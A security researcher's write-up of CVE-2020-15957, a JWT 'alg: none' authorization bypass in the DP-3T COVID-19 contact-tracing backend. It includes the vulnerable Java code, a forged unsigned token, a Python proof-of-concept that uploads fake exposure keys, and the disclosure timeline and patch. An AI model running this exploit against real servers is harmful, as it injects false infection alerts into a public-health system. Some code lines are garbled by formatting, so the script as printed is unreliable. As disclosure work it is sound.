Home Technical Write-up on CVE-2020-15957
Post
Cancel

Technical Write-up on CVE-2020-15957

Write-up of a security vulnerability in a secure and privacy-preserving proximity tracing system.

Introduction

DP-3T is a system for secure and privacy-preserving proximity tracing, created to help slow the spread of COVID-19 by simplifying the notification process of people who might have been exposed to the virus.1

In the following write-up, we will explain a vulnerability that we found in the DP-3T backend (CVE-2020-15957), during an informal security assessment. This vulnerability allows an attacker to uploads his secret keys to the DP-3T backend server without authorization, which can lead users to mistakenly think that they have already been exposed to the virus.

DP-3T - Architecture

The DP-3T system relies on a smartphone app that continually broadcasts an ephemeral and pseudo-random ID (EphID) while it records the EphID’s observed in its proximity by a specific period. The EphID is changed periodically (for example, 10 minutes) and is generated with a daily secret key applied to a pseudo-random function.

When a user is diagnosed with COVID-19, the health authority issues a token to the user to upload his secret keys to a central server. This server has only keys belonging to users diagnosed with COVID-19 and are only stored for a limited period.

Periodically, the application queries the central server for secret keys, generates the EphID’s from these keys, and checks if it has had contact with any of them. If we have the generated EphID in our local storage, we have been exposed to COVID-19.

The upload process follows the OAuth2 authorization framework. In this case, the Authorization Server is the healthcare authority’s server, and the Resource Server is the backend server.

The user receives a token from a healthcare professional when he is diagnosed with COVID-19. The user then enters this token on the smartphone app, and the upload process begins. The application uses the token introduced by the user to request an access token to the healthcare authority’s server. If the token is valid, access will be granted by issuing an access token. With the access token, the application will try to upload the device’s secret keys to the backend server. If the server accepts the access token, the uploaded keys will be provided to other users as keys of an infected user.

The access token issued by the healthcare authority’s server is a JSON Web Token, which is signed by the healthcare authority’s private key and checked by the backend server using the healthcare authority’s public key.

Vulnerability

There is a known problem with JSON Web Tokens (JWT). The header of the JWT specifies the algorithm for validating the token. So, if the application doesn’t enforce the type of signature that a token must use, a malicious actor can induce the application to use an insecure signature method.2

The dp3t-sdk-backend is the base implementation of the DP3T’s backend server. It is a Java web application using Spring and the JJWT library for JWT’s generation and validation.

The validation of the access token is done in the DPPTJwtDecoder class. A snippet of this class can be found below.

public class DPPTJwtDecoder implements JwtDecoder {

	private final JwtParser parser;
	private OAuth2TokenValidator<Jwt> validator;
	
	public DPPTJwtDecoder(PublicKey publicKey) {
		parser = Jwts.parserBuilder().setSigningKey(publicKey).build();
	}
	
	public void setJwtValidator(OAuth2TokenValidator<Jwt> validator) {
		this.validator = validator;
	}
	
	@Override
	
	public Jwt decode(String token) throws JwtException {
	
		try {
			var t = parser.parse(token);
			var headers = t.getHeader();
			var claims = (Claims) t.getBody();
			var iat = claims.getIssuedAt();

DPPTJwtDecoder creates a JwtParser object configured to verify if signed JWT’s are signed with the health authority public key. Then, in the decode function, the token is parsed by calling parse, a function call that should verify if the token is signed or not.

When reading the library documentation, it is mentioned that the parse function returns signed or unsigned JWT instances.

parse(String) Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting JWT or JWS instance. (JJWT documentation)

There is a natural tendency to assume that if we previously specify the signkey, this function should only accept tokens signed by that key, but this assumption is false and not mentioned anywhere in the documentation.

The developer of this library explained in an issue related to the JWT vulnerabilities that the parse(String) method supports any of the JWT types and if the developer only wants to accept signed tokens, he must use the parseClaimsJws(String).3

Thus, the dp3t-sdk-backend JWT validation code is vulnerable and can be exploited by an authorization token that is not signed and has its signature algorithm as none.

This vulnerability was acknowledged and patched by the development team of dp3t, and a CVE ID was assigned to this vulnerability (CVE-2020-15957). The patch consists on changing the parse(String) function to parseClaimsJws(String), to force the JWT to be signed.

PoC

As this is an SDK for the backend service, the authorization token’s content may change according to the deployment. In this section, we will focus in the default token structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

 {
	"alg": "RS256"
 }
 .
 {
	 "scope": "exposed",
	 "onset": "2020-04-20",
	 "fake": "0",
	 "jti": "ce2eb47a-ef7d-40f9-9f21-882115cccb87",
	 "sub": "test-subject2020-07-29T14:39:14.250255Z",
	 "exp": 1596033854,
	 "iat": 1596033554
 }

The token above is a token that allows the upload of the device’s secret keys, when it has a valid signature that proves its authenticity. The server will start to check which signature algorithm should use, in this case, “RS256”, and then verify if the token is correctly signed according to the “RS256” signature method.

To exploit this server, we only need to create a JWT with this structure and change the signature algorithm to “none”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

 {
	"alg": "none"
 }
 .
 {
	 "scope": "exposed",
	 "onset": "2020-04-20",
	 "fake": "0",
	 "jti": "f1b1df0f-8f1d-432c-a20a-f789358fe3ad",
	 "sub": "test-subject2020-07-29T14:26:57.778443Z",
	 "exp": 1596033117,
	 "iat": 1596032817
 }

When an attacker tries to use a token like this against a vulnerable server, the JWT header will be parsed, and because the signature algorithm is none, the server will accept it without a signature.

This process is automatized in the following python script.

If the server answers with response code 200, it means that we bypass the authorization token with success; if it answers 401, the server is not vulnerable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from requests import post
from jwt import JWT
from jwt.jwa import none
from jwt.utils import getintfrom_datetime
from datetime import datetime, timedelta, timezo

def exploit(server: str):
	fakeSecretKeys = {
	    "delayedKeyDate": 2660112,
	    "gaenKeys": []
	}
	
	for _ in range(16):
	    fakeSecretKeys["gaenKeys"].append({
	        "keyData": "dGVzdEtleTMyQnl0ZXMtLQ==",
	        "rollingStartNumber": 2660065,
	        "rollingPeriod": 144,
	        "transmissionRiskLevel": 0,
	        "fake": 1
	    })
	
	jwt = JWT()
	jwt.*jws.*supported_algs["none"] = none
	
	token = {
	    "scope": "exposed",
	    "onset": datetime.now(timezone.utc).strftime("%Y-%m-%d"),
	    "fake": "0",
	    "sub": "test_subject"+str(datetime.now(timezone.utc)),
	    "iat": get*int*from_datetime(datetime.now(timezone.utc)),
	    "exp": get*int*from_datetime(
	        datetime.now(timezone.utc) + timedelta(hours=1)),
	}
	
	compact_jws = jwt.encode(token, alg="none")
	header = {"Authorization": "Bearer " + compact_jws}
	result = post(server + "/v1/gaen/exposed/",
	              json=fakeSecretKeys, headers=header)
	
	if result.status_code == 200:
	    print("Server is vulnerable!")
	
	elif result.status_code == 401:
	    print("Server is not vulnerable.")
	
	else:
		print("Unexpected answer")
		print(result.text)

if name == "main":
	from argparse import ArgumentParser
	
	parser = ArgumentParser(description="PoC CVE-2020-15957")
	parser.add_argument("-s","--server", type=str, help="Backend server to test")
	args = parser.parse_args()
	
	if args.server:
	    exploit(args.server)
	else:
	    parser.print_help()

Impact

The threat analysis of the DP-3T mentions the security risk of an unauthorized upload of data to the backend system. The vulnerability described here provides exactly that, an attack that can upload data to the backend system without authorization.4

This vulnerability jeopardizes the trust of the user in the system, as a malicious actor, with some effort, can create an application that broadcast EphID’s and then uploads his secret keys to the backend server using this vulnerability, leading users that were not exposed to the virus to think they were.

Disclosure Timeline

26/07/2020 - Shared vulnerability report with DP-3T organisation.

27/07/2020 - The development team acknowledges the vulnerability.

27/07/2020 - Patched created.

28/07/2020 - CVE id was assigned (CVE-2020-15957).

30/07/2020 - Public release.

Reflections

DP-3T is a great project that provides us a secure, decentralized, privacy-preserving proximity tracing system. During our analysis, we didn’t find any problem that compromised the system design directly.

In general, the majority of the security flaws are not due to design errors but to implementation errors, and this case is not an exception.

This vulnerability was due to an implementation error and could probably be avoided if the JJWT documentation was better and more complete.

Moreover, for a project that is sensible in terms of privacy for the user, being an open-source project is an important step to gain the community trust. But this cannot be an isolated action, the code must have a formal security assessment, and its report should be public to promote confidence in the system.

Footnotes

This post is licensed under CC BY 4.0 by the author.
Trending Tags